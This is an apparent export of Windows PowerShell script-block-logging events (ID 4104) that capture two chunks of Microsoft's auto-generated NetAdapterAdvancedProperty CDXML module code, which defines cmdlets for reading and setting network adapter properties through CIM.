if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.Par
ScriptBlock ID: 8575be8b-8afa-4124-b4ab-bcb358d8ae2e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1910 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-75fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
tization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:CreateInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'New-NetAdapterAdvancedProperty' -Alias '*'
function Get-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByNameDisplayName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByNameRegistryKeyword', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Parameter(ParameterSetName='ByInstanceIDDisplayName', Mandatory=$true)]
[Parameter(ParameterSetName='ByInstanceIDKeyword', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByNameDisplayName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceIDDisplayName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('DispN')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByNameRegistryKeyword', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceIDKeyword', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('RegKey')]
[ValidateNotNull()]
[string[]]
${RegistryKeyword},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[switch]
${AllProperties},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName', 'ByNameDisplayName', 'ByNameRegistryKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID', 'ByInstanceIDDisplayName', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByNameDisplayName', 'ByInstanceIDDisplayName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegistryKeyword') -and (@('ByNameRegistryKeyword', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegistryKeyword})
$__cmdletization_queryBuilder.FilterByProperty('RegistryKeyword', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByNameDisplayName', 'ByNameRegistryKeyword', 'ByInstanceID', 'ByInstanceIDDisplayName', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllProperties') -and (@('ByName', 'ByNameDisplayName', 'ByNameRegistryKeyword', 'ByInstanceID', 'ByInstanceIDDisplayName', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllProperties', ${AllProperties})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterAdvancedProperty' -Alias '*'
function Set-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Alias('DispN')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Alias('RegKey')]
[ValidateNotNull()]
[string[]]
${RegistryKeyword},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllProperties},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterAdvancedPropertySettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${DisplayValue},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${RegistryValue},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegistryKeyword') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegistryKeyword})
$__cmdletization_queryBuilder.FilterByProperty('RegistryKeyword', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllProperties') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllProperties', ${AllProperties})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DisplayValue')) {
[object]$__cmdletization_value = ${DisplayValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayValue'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayValue'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultVal
ScriptBlock ID: 8575be8b-8afa-4124-b4ab-bcb358d8ae2e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1909 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-75fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function New-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='Name', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='InstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${InterfaceDescription},
[Parameter(ParameterSetName='InstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='Name', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${RegistryKeyword},
[Parameter(ParameterSetName='InstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='Name', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType]
${RegistryDataType},
[Parameter(ParameterSetName='InstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='Name', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${RegistryValue},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='Name', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Name},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InstanceID') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceDescription')) {
[object]$__cmdletization_value = ${InterfaceDescription}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceDescription'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceDescription'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryKeyword')) {
[object]$__cmdletization_value = ${RegistryKeyword}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryDataType')) {
[object]$__cmdletization_value = ${RegistryDataType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryValue')) {
[object]$__cmdletization_value = ${RegistryValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IncludeHidden')) {
[object]$__cmdletization_value = ${IncludeHidden}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:CreateInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
{ @('Name') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryKeyword')) {
[object]$__cmdletization_value = ${RegistryKeyword}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryDataType')) {
[object]$__cmdletization_value = ${RegistryDataType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryValue')) {
[object]$__cmdletization_value = ${RegistryValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IncludeHidden')) {
[object]$__cmdletization_value = ${IncludeHidden}
